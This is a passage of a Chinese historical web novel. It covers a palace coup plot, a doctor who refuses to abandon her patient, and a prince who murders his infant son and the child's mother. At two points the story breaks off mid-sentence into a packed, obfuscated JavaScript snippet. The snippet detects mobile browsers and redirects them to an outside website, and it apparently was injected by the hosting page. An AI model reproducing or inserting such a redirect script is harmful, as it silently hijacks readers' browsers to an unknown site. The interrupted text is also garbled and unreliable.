出乎意料的是,那些人依旧没有直接上前,为首的人又喊:“杜英亮!你在不在?我是孟山,王爷算到了最坏的情况,喊我带人在这里等你们。” 余衡一喜,但还是不敢轻举妄动,连忙找到杜英亮,他捂住杜英亮的嘴巴,猛地拔出了他肩膀上的箭矢。 杜英亮疼得满头大汗,没能叫出声,却本能咬住了余衡的手,又重又狠,余衡手都被他咬破皮流血了。 余衡差点叫出来,被身边的兄弟捂着嘴巴才生生忍住。 那人又喊:“杜英亮,在不在?我听到动静了,我数到十,不管你们是不是三殿下的人,我都要带人过来了。” 杜英亮瞬间听出孟山的声音,他拍打开余衡的手,“在,我在,殿下也在……殿下!殿下呢!” 他说着就要起身去找邹瑅,却没能站起身来,余衡将他扶住他才没重重摔在地上。 孟山也带人过来了。 “三皇子殿下呢?”孟山问。 余衡满脸愧色,“我醒来时依稀看到一个黑影,应该是他带走了三殿下,并将我们救上岸。” 孟山追问:“往哪个方向去了?” 余衡摇头。 “那就都去找。”杜英亮吼着,自己也要爬起身去找,但被孟山按住了。 孟山安抚道:“那人将你们救上来,还在临走时弄醒他,应该没有恶意,可能是把我们当成朱轶的人,才不得已带着殿下离开。” 他又看向余衡说:“怀鹤乡应该已经被浩然山庄的人控制了,你带着你的人和英亮他们先去怀鹤乡,我们去找三殿下。” 杜英亮还要再说什么,但被孟山堵住了,“你这半死不活的样子,不走又能帮上什么忙?先保住你这条命吧。” 说罢,孟山带队进入丛林中。 余衡虽然愧疚万分,却也没有逞强,带着杜英亮等人先去了怀鹤乡。 * 怀鹤乡,钱宅,后厨院。 听见外面闹哄哄的动静,李棋不敢让妇人离开她的视野,只能高声问守在门口的沂源,“沂源哥,外面什么情况?会影响到城中百姓吗?” “夺权。” 只听这两个字,李棋心中大骇,都着手收拾东西了,又听沂源说:“不。” 话虽这么说,情况不明,李棋还是不免担心。 “我师兄呢?沂源哥,你去帮我叫他过来行吗。” 沂源脚步远去,很快又回来,像是先去查看了一番一般,很快,就听他在原本的位置站定回道:“喂奶,等下、来。” 李棋应了声,静静等着,这期间,她忍不住又探了两次妇人的体温,确定她没有发热,又摸了摸她的脉,确定没有异常,李棋才放松一些。 不知道过了多久,门被人敲响,子瞮的声音传来,“小七,你找我?” “别开门进来。”李棋说着连忙走到门边,又问,“外面怎么回事?小灵呢,怎么一去不返?” 子瞮显然也是一知半解,“好像是浩然山庄的人奉常胜王命令,取代了怀鹤乡城墙外的府兵。” “常胜王?邹杲!”李棋不自觉拔高了音调,“邹杲还在利州?!” 子瞮摇头,“不知道,只说是奉他的命令,没听到他人也来了。” 他又说:“另一名妇人我去看过,也送了药过去,她们都说小灵突然说有事,跟你这位朋友交代了两句就急匆匆从窗户出去了,去了何处还不得而知。” 类似的画面再次上演,话音未落,又有人急匆匆赶来,“不好了,纪姑娘、子瞮大人……” 子瞮转身快步走向来人,下意识问:“又有人生产?” 沂源也是眉头紧锁。 来人摇头,“不,不是生产,浩然山庄的人来报,说龙武军多人中箭中刀,让我们派几个……” 话没说完,子瞮上前抓住来人的手,“确定是龙武军?殿下呢?在不在其中?” 来人连连摇头,也不知道是慌乱还是不知道。 屋里正在抱孩子的孙忠闻声直接抱着孩子出来,“殿下怎么样?龙武军那些人现在在哪?” 来人弱弱道:“在主城门外的营帐中。” 孙忠抱着孩子就冲了出来,雨飘到刚出生的孩子身上,好不容易哄睡着的孩子又醒了过来,呜哇哭着,孙忠一惊,连忙又抱着孩子退回去,却怎么都哄不好,一时无措至极。 子瞮虽然也迫不期待想去看看邹瑅在不在,但听到孩子的哭声,还是瞬间冷静下来。 他快步上前接过孩子,“去帮我收拾药箱,我再去叫几个人,我们马上去城外看看。” 孙忠点头,连忙跑进子瞮的房间。 子瞮则去了另一位老医者的房间,将孩子交给他,又让林府医留下后,连忙带着其余医者和医药从后门出宅去。 听到子瞮等人远去,李棋心中也跟着慌乱,同时也更加担心那好不容易救过来的婴孩。 “沂源哥,我这里暂时不需要帮助,你代替我去看看那个孩子吧。” 沂源思考了片刻,才说,“好。”李棋走听到他离去的脚步声了,却听他突然停下又说,“随时、叫我。” “好,辛苦你了,沂源哥。” 沂源没再说话,脚步声也渐渐远去。 等待的时间总是漫长,雨渐渐小了,但却仍不见子瞮或鬼机灵回来。 突然,外边传来脚步声,似乎是有人从后门回来。 “什么人?将军!这里都是疫病患者,你们快快离……” 不等林府医劝导的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841499|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话说完,就听来人问:“李神医在哪?速速随我就救人!” 林府医问:“将军,不知还要救什么人,子瞮大人不是已经去了吗?” 周副将很急,说话也不受控的有些冲,他一把推开拦在前面的林府医,“不该问的别问,我再问一次,李神医在哪?再不出来,就别怪我不讲理了!” 林府医摔了个结实,跌坐在积水中一时爬不起来。 紧接着又传来婴孩的声音,显然是那孩子被吓醒了,听到来人的脚步往子瞮的房间去了,虽然有沂源在,但李棋还是担心,连忙起身打开门出去。 “我在这里!” 见沂源一手包裹着婴孩的脑袋耳朵,抱着人已经走到房门口,李棋连忙眼神示意他抱着哭泣不止的婴孩回去,威逼利诱的眼神都用上了,沂源才转身进屋并关上了门。 周副将闻言态度转改,先转身扶起林府医,才笑着快步向李棋走来,细细盯着她看了几眼,才道:“末将周峰,奉子瞮大人之意来请李神医前去救人。” 一听是子瞮喊他们来找自己,李棋态度缓和一些,“人在哪?什么病?带过来不行吗?” 她连忙又说:“屋中有一个才被我剖腹取子的妇人,她还未完全脱离危险,我不能离她太远。子瞮呢,他治不了吗?” 周副将一听也面露难色,但只是片刻的纠结,他一狠心,上前一步俯首在李棋耳边低声道:“三殿下不知所踪,子瞮大人听闻后亲自寻找去了。要李神医救的乃是大将军常胜王……” 李棋听到‘常胜王’三个字,只觉脑袋里嗡嗡的。 她以为,邹杲应该已经在虚无岛接受鬼爷爷的治疗了,还想着等怀鹤乡事了,她应该能刚好去海边接到他。 却听周副将又说:“常胜王必须以浩然山庄的寒泉水压制毒性,已经被先行送往,还望神医速速随我过去救人。” 李棋反应过来,拔腿就想去药房收拾用得上的药材,但脚才抬起来,她又停下了。 要不是知晓神医脾气都怪,周副将恨不得直接将李棋绑过去,但他硬生生忍住了,彬彬有礼问:“神医还有什么顾虑?” 李棋摇摇头,坚定抬头看着周副将道:“我不能走。” 周副将一急,“为何?”他反应过来,指着房门低吼,“你可知,若是三殿下寻不回来,没有大将军镇住局面,将会有多少人死于叛乱之下?区区一介妇人……” 他越说越激动,却意识到自己这话不对,但顿了顿,他还是咬牙切齿继续又说:“为平反叛乱、天下太平,不止她,我等都万死不辞。” 李棋自然知晓,若按身份地位,千百个贫苦农妇的命也比不得邹杲一条命重要。 但在她眼中,二者的性命同等重要,何况她还没法医治邹杲。 她看向周副将,用本来的声音道:“我就是陪邹杲从鄂阳走到金曲楼的李棋,他的身体是什么情况,我很清楚,不止我,现在就算是我师父蛮菩萨本人来了,也救不了他,当下唯一能救他的是虚无岛的鬼族。” 周副将一愣,僵在原地盯着李棋的伪装的面容久久说不出话来。 “你们走吧,真想救他就赶紧把他送到鬼族去。” 李棋又看向林府医,“林府医,劳烦你给他们各分一粒清浊丸。” 说罢,李棋毫不停留,转身回了屋去。 林府医跑着去拿来鬼机灵和两位老医者研究出来的、有预防作用的清浊丸分给几人,周副将等人见无果,也很快离去。 林府医没听清两人说了什么,但他还是过来敲门问道:“李神医,一群军爷这么急切赶来,定是要救什么大人物,你当真没有办法吗?” 李棋还在门口用药酒给自己全身消杀病气,闻声她动作一顿,叹了口气后,还是如实道:“嗯,我救不了。” 顿了顿,李棋安抚又说:“有皇帝压着,轻易乱不起来,我等尽医者本分,治好这些疫病病患就好。” 林府医叹了口气。 李棋又说:“林府医,回去换身衣裳吧,今夜寒冷,别染上风寒。” 林府医应了声好,李棋又说:“劳烦你找个人去城外通知金曲楼的人,就说马儿找到了,让他们都回来。” 林府医一愣,但还是很快答道:“换了衣裳我亲自去一趟。” “有劳了。” 林府医说再没什么,拖着疲惫的身体转身离去。 * 如李棋说的那般,有成武帝压着,的确轻易乱不起来。 62.辽炀卷·第十七章 17 鄂阳,大嬴皇宫,御书房。 已是深夜,成武帝一人坐在大殿中翻阅着各地呈奏上来的奏书,多是跟本次水涝有关,有捷报,但更多的是缺盐粮药、避寒衣物的奏书。 成武帝看得眉头紧锁,不自觉又从右手边废旧的一垛纸张中顺手拿出一张烧着以缓解压力。 纸张上的字迹杂乱,像是小孩写的,和从前直接烧白纸的做派比起来,节约了太多太多。 本意是缓解压力,但成武帝忍不住又思考起来,却不料想得太入迷,一时不察,手指被火烧了个正着。 他吃疼,却没有慌乱,而是紧紧捏着正燃烧的纸张不放,等其都烧成灰烬,才松开两个手指,露出二指相交处护着的一小点边缘发黑的纸张。 皇上不急太监急,端着热汤回来的沙於推门进来,见此情形,差点把手里的汤给扔地上。 “陛下!您没事吧,陛下?”沙於端着汤一边小碎步跑向成武帝,一边喊破了嗓子,“来人,宣太医!快宣太医!” 成武帝闻言抬首看向他,两个手指搓了搓,好笑道:“朕都没喊疼,你急个什么,不知道的,还以为朕大限将至呢!” 话音未落,在偏殿候着的太医提着药匣跑了过来,“陛下!” 成武帝更觉好笑,“平时不见你们这么迅速,今儿怎么来得这么急。” 太医闻言一惊,冷汗直流,腿一软就跪了下去,“陛下恕罪。” “起来。”成武帝重新拿起一张纸,放在烛火上继续烧,同时淡淡道,“来得快说明你关切朕,你何罪之有啊。” 太医颤抖着起身,不敢抬头看成武帝,只低着头说:“臣观陛下面色,并无不妥,望陛下容臣近身把脉。” 闻言,成武帝烧纸的动作一顿,一双深邃危险的眸子一眨不眨盯着太医,仿佛要将其拆分干净,看看他内里到底有什么盘算。 “陛下,手中的纸又要燃尽了。” 还是沙於察觉到他手中的纸张又要烧到手了,及时出声,成武帝才收回视线。 成武帝将手中的烧了大半的纸张扔到桌边的火盆里,冲下方的太医摆摆手说:“朕只是手指被火燎了一下,你下去吧。” 太医跪安,小心翼翼提着药匣又离去。 沙於关切看着成武帝的手指,“陛下,老奴为您涂些药吧。” 成武帝摇头,朝沙於伸出手,沙於下意识将面前的热汤递给成武帝。 都递出去了,又意识到不妥,“陛下,汤还有些烫。” “无妨,朕就想喝口热的。”说着,直接上手接了过来。 他另一只手拿起勺子,舀起都要喂到嘴里,却又放下,用勺子整体搅了搅,才又舀了半勺递到嘴边,他嘴边都张开了,却又放回了碗里。 “沙於。”成武帝喊。 沙於一惊,有些慌乱,“老奴在。” 成武帝不由得转头用审视的目光看着他,“你很紧张?你在紧张什么?” 沙於像是反应过来了,笑着回道:“老奴紧张陛下,担心陛下被烫着。” 成武帝放下戒心,笑问:“朕有那么脆弱?” “陛下御驾亲征近十载,绝谈不上脆弱。”沙於话音一转,“但黄金尚且无足赤,何况是人,唇舌常居内里,怕热怕凉,前几日陛下才因为唇角起疮而没有食欲,若是再烫了口舌,只怕食量又要减半。” 成武帝听罢,笑意更甚,“好你个沙於,天天就盯着朕吃多少饭食,待在朕身边实在屈才,朕应该将你调到御膳房去的。” 沙於也笑,这笑还颇有几分恃宠而骄的意味,“只要陛下心悦,老奴但听陛下差遣。” 成武帝笑着将手里的汤递给沙於,“你比汤更解愁,这汤赏你了。” 沙於一惊,连忙跪谢圣恩。 “就你我主仆二人,跪什么,小心折断你那一把老骨头。”成武帝笑着说,“起来,接汤。” 沙於攀着桌沿颤巍巍起身,接过汤,盯着看了许久,就是不见他喝。 成武帝看了会儿奏书,见他还没动,扬目看去,冷冷道:“怎么,这汤不合你的口味?” 沙於浑身一颤,连忙赔笑道:“陛下赏赐,老奴欢喜还来不及,怎会不合口味。” 他连忙又说,“老奴只是怕烫,”他舀起一点尝了尝,“嗯,现在刚好。”说罢,大口大口喝了起来,用勺子还觉不尽兴,最后直接捧着碗很快喝了个精光。 “犹如神仙甘露,老奴五脏六腑温暖舒适无比,老奴谢陛下恩赐。” 成武帝这才又露出笑容,“不过是一碗汤,喜欢朕再赏你就是,起来,为朕研磨。” “诺!”沙於连忙起身,来到成武帝右侧小心仔细研起磨来。 成武帝才写了没几个字,就见沙於研磨的动作明显乱了。 成武帝什么也没说,只放下笔抬头看向站在身侧的沙於。 沙於一惊,连忙跪下,“陛下恕罪。” “你有何罪?”成武帝冷声问。 “老奴、老奴……”沙於结结巴巴半天没说出个所以然来。 “沙於!”成武帝沉声说,“你有何事瞒朕,速速说来。” 沙於哆哆嗦嗦的,再也扛不住,倒豆子一样一口气都倒了出来,“二皇子府差人来报,说二皇子妃脚滑摔倒小产,小世子也在场,被吓得不轻,哭着要皇爷爷,二殿下恳求陛下能去看看小世子。但夜已深、雨又未停,老奴便自作主张瞒了下来,只派了太医前去。” 成武帝问:“什么时候的事?再没有别的?” 沙於连忙点头,“老奴不敢再有隐瞒。就是老奴去端汤时的事。” 成武帝身上肃杀的气质才收敛一些,他亲手扶起沙於,“你关切朕的身体,朕知晓你的苦心,但沛儿有恙,朕如何能袖手旁观。” “陛下……”沙於正要劝,就听成武帝道,“你派人速去将沛儿接进宫来。” 沙於明显的松了口气,连忙起身道:“诺,老奴这就亲往。” 成武帝欲言又止,但最终只平和叮嘱,“你慢些,事已至此,慌急无用。” “谢陛下体谅,老奴去了。”沙於感恩不已,仿佛吃了灵丹妙药,感觉一下子都能健步如飞了。 成武帝好笑,挥手示意他快去,而后垂下头又继续处理起奏折来。 * 二皇子府,邹珣急切抓着来人,“你说什么?父皇没来!” 报信的人瑟瑟发抖,“的确未见到陛下圣驾。” 邹珣一脚将人踢翻,正要上前再补两脚,就先被本该在左相府的韩威叫住。 “殿下,冷静。” 曹环也连忙上前拉住邹珣,温声劝道:“殿下,近三千府兵出动,三皇子必死无疑,这天下也注定是殿下的。能不动刀戈最好,不如末将先让兵士隐匿起来,且先听来人如何说。” 见状,邹珣的心腹,也就是冯云连忙示意旁边的人将报信人拉走。 曹环则说着看向韩威,像是想让韩威给个准信。 韩威却只是喝茶,并不言语。 边上的曹芸只好上前为自家哥哥解围,她轻攀住邹珣的手臂,“殿下,妾身兄长所言可行与否,您快说句话呀!” 邹珣这才从愤怒中冷静下来,他看了眼曹芸已经凸出的腹部,又看向韩威,“祖父,您意向如何?” “索性太后已经被你母妃与妹妹牵制住,再等等也无妨。”韩威说完,又补充了句,“老臣拙见不足道矣,但凭殿下定夺。” 邹珣看向曹环,“按你说的做,我倒是要看看,父皇到底是意欲何为!” 曹环得令,立刻让院落两边及屋顶上的人都隐藏起来,还将韩威带到了屏风后隐匿。 才都藏匿伪装好,沙於也来了。 沙於看着人影往来的房间,关心问:“二殿下,二皇妃情况如何?” 邹珣装出悲痛万分的模样,眼眶都红了,“太医还在救治。” “二皇妃吉人天相,定能转危为安。”沙於顿了顿,又问,“小世子现在何处?好些了吗?” “沛儿哭闹不止,我实在心力交瘁,让太医熬了安睡的汤药,沛儿刚刚喝下,已经让人带回房去哄睡了。” 邹珣痛心疾首又说:“夜深路滑,我本不该扰父皇安睡,实在是病急乱投医,才……” 沙於也露出痛色,“陛下听闻,痛心不已,若非旧疾复发,早就已经亲临。” 邹珣一喜,压下后连忙抓住沙於的手追问:“旧疾复发?父皇现下如何?” 又懊悔说:“我不该告知父皇的,都怪我,我这就同公公亲往宫中伺候父皇。” 沙於抓住他的手拍拍,“殿下宽心,陛下那是老毛病了,服下药物后,陛下已经好多了。” 他又说:“老奴此次奉命前来,一是为二皇妃送来些许补药,二是奉旨带小世子去宫中陪伴陛下。” 邹珣闻言一惊,是真的惊慌。 “父皇要沛儿进宫?”邹珣连忙拒绝,“沛儿神识不清、哭闹不止,此时进宫,恐非但不能让父皇舒心,还会扰父皇休养。” 沙於却笑了笑,“小世子素来亲近陛下,此刻与陛下见面,那是互相陪伴治愈,何来打扰一说。” “这……”邹珣还想拒绝,却怕露出马脚,只道,“公公稍坐,我去看看沛儿清醒与否。” 不等沙於说什么,又对府上的人喊道:“来啊,为沙公公赐座看茶。” 说罢,就和撑着伞迎上来的冯云快步离去。 沙於也不知道是真心还是故意,还贴切喊他慢些,小心别摔了,吓得邹珣脚下一滑,要不是有冯云眼疾手快撑住他的后腰,他就真摔了。 邹珣带着冯云从后门进入寝殿屏风后,找到韩威,“祖父,父皇要沙於带沛儿进宫去,答应也不是,不答应也不是,我实在难做出决断。” 韩威闻言也是一怔。 但韩威终究是老狐狸了,他道:“殿下,我们的动作虽然谨慎,但鄂阳多是陛下的耳目,陛下不可能完全没有察觉,若拒绝,便坐实了欲造反的事实。也不知利州那边进展如何……” 正沉默间,就见曹环欣喜拿着一张密信回来。 “殿下,好消息!” “什么?”邹珣迫不及待抢过曹环手中的密信和冯云一起看了起来,越看,他脸上势在必得的笑意更甚。 见韩威满脸询问,曹环连忙道;“三皇子连中五箭后坠入湍流之中,朱轶等人已经打捞到他的尸体,且在第二日令其子朱兴贤带两千府兵假扮流民前往鄂阳听候差遣,最迟两日后就能到。” 韩威问:“常胜王呢?他不可能不带人去救邹瑅。” 邹珣大笑道:“哈哈哈,真是天助我也。” “邹杲不但去了,还带着那一千二百名神武军去了,奈何他剧毒发作、坠下马来,导致军心大乱,神武军所剩无几,虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845874|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着邹杲逃到浩然山庄,但朱轶已经带一千府兵将浩然山庄围住,只要我登基的消息传出鄂阳,只为自保,浩然山庄也定然会交出邹杲。” 韩威只觉还是太过顺利,顺利得像圈套。 但事已至此,起兵让邹珣上位,是他们这些人唯一的活路,尤其是他韩威。 韩威看向曹环,“你父亲那边可有传来消息?” 曹环连忙答道:“自王枞假扮草莽劫烧鄂阳与信阳多处粮仓后,陛下便陆续派出一万五千龙武军分发往各粮仓护粮,直至今日戌时,父亲依旧未收到有龙武军调动的消息。” 他又说:“另外八万龙武军也早已分散到各地守护粮草,龙武湾只剩不到五千龙武军,又距离皇城三十里之远,中间还有王枞的五百人拦截;” “我们这一千人更是经历了长达一年的龙武军训,又都装备了神武弩箭,且还有睿王和安阳公主的两方的支援,足够在龙武湾救兵赶来之前杀入皇宫,拿到陛下的传位圣旨了。” 邹珣还是犹豫,但却只找了个站不住脚的借口,“王枞毕竟是赵国皇室血脉,只怕他临阵倒戈,拖不了多久。” 韩威直白说,“殿下,王枞只是您手中一枚棋子,影响不了大事。” 他浑浊但精明的双目直白赤裸看向邹珣,“殿下,舍不得孩子套不着狼,成败在此一举,避免沙於察觉,您速速定夺吧。” 曹环闻言一愣,“舍什么孩子?我错过了什么?” 邹珣面色纠结,但在曹环的目光下,还是如实说道:“沙於是奉命来接沛儿进宫的。” “什么?” 邹沛不但是邹珣的嫡长子,更是曹家与邹珣最切割不了的联系。 自古立长立嫡,若是嫡长子,只要挑不出错且不早夭,多半就是下一代皇帝了。 不等曹环说出动摇邹珣的话来,韩威又说:“皇妃腹中已又有胎儿,无论是男女,嫡长子都只会是曹家女所出。” 他将‘嫡’‘长’二字都咬得极重。 曹环有些激动,“说得轻巧,可除了沛儿,殿下还有一儿一女,就算我妹妹这一胎是男孩,也只会是嫡子,不可能是长子。” 他说着突然眸光乍亮,难以置信问:“你的意思是让殿下……” 两人都看向邹珣,邹珣也明白过来两人的意思,韩威要他杀了次子以安曹环的心。 可次子是侧妃所出,侧妃虽只是庶出,却也是英武军大统领杨柯的女儿,杨家主母平日对侧妃母子也是颇为关照,杀了他的外孙,就断没有再拉拢他的机会。 邹珣一听本能看向冯云,冯云虽然不会说话,但也最懂邹珣。 但不等冯云有动作,韩威便出言先引去了邹珣的注意。 “殿下若在今夜成功登上那个位置,率士之滨、莫非王臣?”韩威狠厉又说,“敢有不从,正好为后起之秀让位。” 邹珣一听也狠下心来。 “就按祖父说的来。”邹珣看向曹环,朝曹环伸出手,“兄长,你同我去。” 他又看向冯云,“冯云,你亲自去安阳公主府和睿王府传信,让他们立刻整军前往东宫门外,待我一声令下,便群起攻之。” 向来对他唯命是从的冯云第一次有了别的想法,但邹珣只冷冷一声,“冯云,你是怕了,还是要背叛我?” 曹环闻言立刻拔出了寒光凛凛的佩剑。 冯云摇摇头,又深深看了邹珣一眼,但最终没有任何表示,沉默转身离去。 邹珣没在意,又笑盈盈看向曹环,“等会我们再以护送之名,派十人跟随沛儿进入皇宫,到时候三方齐发,里应外合,成败在此一举,你我兄弟二人此刻定当齐心协力!” 邹珣已经做到这一步,曹环感激涕零,连忙伸出手握住,邹珣拉着他的手臂,让两人肩膀相撞,紧紧抱在一起。 直到韩威提醒催促,邹珣才放开他。 两人立刻去往侧妃寝院,邹珣才赶走守夜的婢女,掀开床帐,就见熟睡的孩童迷迷糊糊睁开了亮晶晶的双眼。 见是邹珣,才牙牙学语的孩童笑着朝邹珣伸出双手,口齿不清喊:“爹、爹爹……” 邹珣动容了,但只是一瞬,下一瞬,他一咬牙,心一狠,手中握着的、随手拿起挑灯芯的铜细棒刺穿孩童尚还稚嫩的胸膛。 孩童纯真的笑容变成扭曲的痛苦,那双亮晶晶的眼睛瞪得更大,还残留有邹珣的身影。 他甚至还不明白什么是死亡。 侧妃听闻邹珣来了,欢喜赶来,脸上还带着柔情似水的笑意,“殿下,您来了……洺儿,你怎么了,洺儿——” 话没说完,她看到床上被鲜血浸染的孩子,痛哭出声,除了名字,再说不出完整的话来。 不等她转身质问邹珣,就见邹珣拔孩童胸口的细棒,直接从后背刺入她的胸膛。 女人回过头来,难以置信看着邹珣,“殿……?!” 话没说完,女人断了气,和她的孩子一起倒在血泊中。 曹环被他的凶狠果决吓了一愣,却见脸上沾着血的邹珣转过头来客气笑着对他说:“兄长,此处交与你了,我得去换身衣物。” 说罢,看着身上的血迹,还嫌弃‘啧’了声,他又对曹环笑笑,然后看也不看死不瞑目的侧妃一眼,大步离去,吓得门口伺候侧妃的嬷嬷肝胆俱裂,都不敢叫出声。 她也再没有机会叫出声,曹环一不做二不休,上前拧断了她的脖子。 63.辽炀卷·第十八章 18 “公公,久等了。”邹珣抱着邹沛快步朝沙於手来,满脸歉意又说,“我去的时候沛儿吐了我和他自己一身,担心熏着父皇,我又急忙命人给沛儿洗了洗。” 邹沛眼神空洞盯着一处一动不动,比起往日的活泼,今日整个人都傻愣愣的,好似被人抽走了魂一般。 “天可怜见,小世子怎么病得这样重。”沙於满脸心疼,一边示意身边的年轻太监上前接过邹沛,一边又说,“陛下得天庇佑,小世子去到陛下左右沾些龙气,一定能早日恢复的。” 邹珣勉强笑笑,“但愿如同公公吉言一般。” 邹珣一边带着人往大门处走,一边真切又说:“公公,天黑路滑,以防万一,让十名龙武军跟随护卫吧。” 沙於面露难色,但眼珠一转,还是没将拒绝的话说出口,“那就恭敬不如从命了。” 他说着,先随手往府门左边一指,“就你们十人了,先同我送小世子到皇宫,再回来保护殿下。” 十人脸上都有些犹豫,还是邹珣出声道:“事关沛儿,父皇不会怪罪你等。” 又冷声说:“还是说龙武军都是徒有虚名,离了你十人,剩余九十人在天子脚下,还护不住我小小二皇子府吗?” 十人连忙跪下求恕罪,沙於笑着伸手扶起最近一人,“走吧,先同我送小世子进宫。” 见邹珣已经上前去安置马杌,沙於连忙上前道:“二皇妃还需要殿下,殿下不必再送,快回去吧。” 邹珣苦涩笑笑,“也不差这片刻了,公公快带沛儿上车吧。” 沙於不再说什么,先上了马车,又接过邹珣递过来的邹沛,这才对邹珣点点头说:“殿下回吧,老奴会安全将小世子带到陛下身边的。” “公公辛苦,回去之后喝杯热茶。”邹珣说着玩沙於手里塞了个鼓囊囊的荷包,才放下车帘。 不算隆重的车架很快远去,消失在道路尽头。 不多时,曹环拿来一套黑金色的盔甲为邹珣穿上,但凡跟随成武帝亲征过的,都能一眼看出这是仿造的成武帝的玄金甲。 “殿下,安阳公主与睿王那边都已传信回来,只待您一声令下,立刻发兵前往皇宫。” 邹珣侧头看向右侧拄着拐杖站着的韩威,“祖父,孙儿去了!” 韩威眼眶有些红,伸出手似乎想捏捏他的胳膊,但又硬生生收了回来,“去吧,殿下定能凯旋而归!” 邹珣又看了左侧的二皇妃一眼,二皇妃默默擦着泪,但在邹珣看过来时,还是露出信任的笑容,“夫君定要平安归来啊!” 邹珣笑笑,看向院中千余人,高声道:“出发!” 说罢,邹珣走出大门,长腿一跨干净利落骑到白马马背之上。 浩浩荡荡的队伍直奔皇宫而去。 无人注意,二皇子府右后方不远处的宅院屋顶,看邹珣等人离去后,一道黑影现身,以超快的速度朝龙武湾相反的方向飞奔而去。 直到再也看不到任何,二皇妃才忧心忡忡看向韩威。 她上前搀住韩威往回走,走到雨幕中,她才忍不住轻声问:“祖父,我们还能做些什么吗?” 她以为雨声会将她的声音遮盖,也没想过要回答,但韩威听到了,也给了她回应。 韩威轻声叹气,“事已至此,我们只有等。” 等什么,不用明说,能等的也只有两种结果。 要么,一荣俱荣,邹珣功成而反,他们跟着水涨船高,身份地位都再上一个台阶; 要么,一损俱损,那时候,二皇子府、韩家、曹家,还有往来密切的,都会被清洗,消失在历史的漫漫长河之中。 回到屋檐下,韩威拍拍她的手背,“去睡吧,今夜过后,再想安稳入睡恐怕就难了。” 曹芸一时有些酸涩,但还是点点头,乖巧说:“孙媳先送祖父回去。” 韩威又叹了口气,看向她的目光有心疼,但更多的是欣慰,“珣儿能娶你为妻,是邹韩两家祖辈积来的福气。” 曹芸笑笑,韩威又说:“无论他日珣儿有多少妃嫔,你都要与珣儿一心,体谅体贴包容他,这样,对珣儿、对你、对你曹家才都好。” 曹芸乖巧回:“孙媳谨遵祖父教诲。” 韩威点点头,没有再多说。 伺候韩威睡下,曹芸回到她和邹珣的寝院之中,院落中每一个角落,都有他们一家三口幸福的回忆。 冯云妻为她端来热汤,曹芸笑着接过,温柔对她说:“巧娘,回去陪语儿吧。” “皇妃……” 曹芸笑着摇摇头,“我喝了汤就去睡了,那边也还有很多人候着,你去吧。” 她这才一步三回头走了。 手中的汤还有些烫,曹芸在等它凉一凉,却不由得想起她说长不长、说短不短的前半生。 她一直都很幸运,在闺房中时,父亲虽然严厉,但也和母亲一样对她呵护备至,她完成先生嬷嬷交代的课业后,父亲也会对她很温柔。 在嫁给邹珣为妻之前,她只见过邹珣一面,在妹妹曹玉笯为三殿下祝寿类似的场景下。 邹珣温柔也多情,父亲的教导、母亲的叮嘱让她不敢去奢求太多。 或许也正是因为她不过多奢求,无论邹珣有了多少女人,对她都始终保留有一份尊重与爱护。 她轻柔抚摸着隆起的小腹,这样算来,她怎样都是幸运了的吧。 但要问她喜欢这一生吗,她不知道,她没见过府院以外的天地。 或许很快,她就只能见皇宫之上的那一片天地了,这般想着,她不由笑了,只是她自己都没察觉的是,她这抹笑染上了浓浓的苦涩。 * 皇宫,沙於的车驾在宫门口停下,沙於才拿出令牌递出去,就听马车右边传来一声痛呼。 沙於和另一个太监都是一惊,两人连忙将邹沛护在中间。 另一个太监名叫史承,是沙於的养子,也是为数不多常在成武帝身边伺候的太监。 片刻,没等来其他动静,在得到沙於的眼神示意后,史承一边厉声出声询问,一边掀开车帘下去,“怎么回事?” 只见一位护送他们来的龙武军手捂着腹部,似乎憋得很痛苦。 另一名龙武军狠狠踢了他一脚,骂道:“怎么回事!才从战场上下来几个月,把军纪军规都忘干净了吗?给我忍着!” 那人又讪讪笑着弓着腰身对史承道:“公公饶命,我这位兄弟应该是吃坏了肚子。” 他连忙又道:“既然小世子已经安全到达皇宫,小的们这便回去了。” 史承皱眉,正要出声呵斥,就听沙於笑道:“俗话说憋屎寸步难行,虽然难听,但也却是真理。” 沙於已经掀开车帘,他又笑着对守门的士兵说:“为我大嬴拼过命的,陛下知晓了也定不会怪罪,让他去解决了再回吧。” 士兵自然让开路来,其中一人还站出来,似乎要给人带路。 几名龙武军连忙感恩戴德跪谢,沙於又说,“宫门不可久开不闭,你们进来等。” 说罢,放下车帘,又进去了。 史承示意驾车人驾马进宫,很快便走远了。 另外九名龙武军在守门士兵的带领下,站在宫门左侧等待着。 几人你看看我、我看看你,窃喜着,藏在匕首的手臂也已经在暗暗发力了。 * 御书房,成武帝淡淡道:“你不是说有十万火急的事要见朕,怎么见了朕反倒一言不发。” 说这话的时候,成武帝头也没抬一下,看也没看下方跪着颤抖不止的睿王邹珏。 邹珏却抖得更加厉害,豆大的汗珠如断线的串珠,大滴大滴滴落在他脸下方的地毯上。 他缓缓抬起头来,说话还是结结巴巴的,“陛、陛下,臣有、有罪、罪……” “舌头捋直了说话。”成武帝沉声说着,手中的玉杆毛笔重重扔在玉笔洗中,两相碰撞,声音清脆且震慑心神。 凌厉的目光也落到邹珏身上,邹珏抖得好似在筛糠,好好的‘陛下’,被他叫成‘陛陛陛陛陛……’都数不清具体重复了多少个‘陛’字。 成武帝看着看着,竟是被他气笑了。 